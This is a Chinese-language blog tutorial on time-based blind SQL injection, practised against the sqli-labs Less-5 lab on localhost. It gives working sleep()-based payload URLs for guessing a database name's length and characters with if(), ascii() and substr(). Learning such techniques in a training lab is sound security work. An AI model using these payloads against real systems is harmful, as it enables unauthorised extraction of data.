sql延时注入

延时注入原理

延时注入就是利用sleep()函数通过if语句判断所写的语句真假,如果为真返回我们想要的东西(例如:数据库的长度,数据库的名字等)如果我们写的东西不符合则会利用sleep()函数让服务器休眠。
利用sleep()函数进行注入

http://localhost/sqli-labs-master/Less-5/?id=1'and if(ascii(substr(database(),1,1))=115,sleep(6))--+

注入成功会显示

在这里插入图片描述
如图所示图片是显示你已经进去了并且你得到了数据库名的第一个字母你把substr(database(),1,1)改为substr(database(),2,1)可以查到第二个数据库名的单词。

http://localhost/sqli-labs-master/Less-5/?id=1'and if(ascii(substr(database(),1,1))=101,sleep(6))--+

substr(string, start, length)
string是数据库,statrt是需要查询的字符的开始位置,length返回的字符数。
mid函数是截取字符串的一部分 MID(column_name,start[,length]) ,column_name 是要提取的字符串(可为sql注入语句), statrt 开始位置, length 返回的字符数。
判断注入类型

http://localhost/sqli-labs-master/Less-5/?id=1' and sleep(5)--+
//有延时注入

在这里插入图片描述

http://localhost/sqli-labs-master/Less-5/?id=1 and sleep(5)--+
//无延时注入

在这里插入图片描述
猜j解数据库名的长度

?id=1' and if(length(database())=1,sleep(6))--+
?id=1' and if(length(database())=2,sleep(6))--+
//以此类推把数字改为3、4、5等。当数字与数据库名的长度相等时会有延时

猜接数据库的长度之后可以利用if语句、ascii函数、substr函数猜解数据库名

http://localhost/sqli-labs-master/Less-5/?id=1'and if(ascii(substr(database(),1,1))=115,sleep(6))--+

上边if语句判断是否正确如果正确会显示You are in不正确服务器会延迟6秒。

ascii(substr(database(),1,1))=115

substr(database(),1,1)是数据库·名的第一个字符ascii(substr(database(),1,1))=115是判断数据库名的第一个字符的ascii是否等于115.还可换为

ascii(substr(database(),2,1))=115
//可以换成2、3、4、5等其他的数字数字应小于你测的数据库名的长度

猜你喜欢

转载自blog.csdn.net/ruigeling/article/details/108672859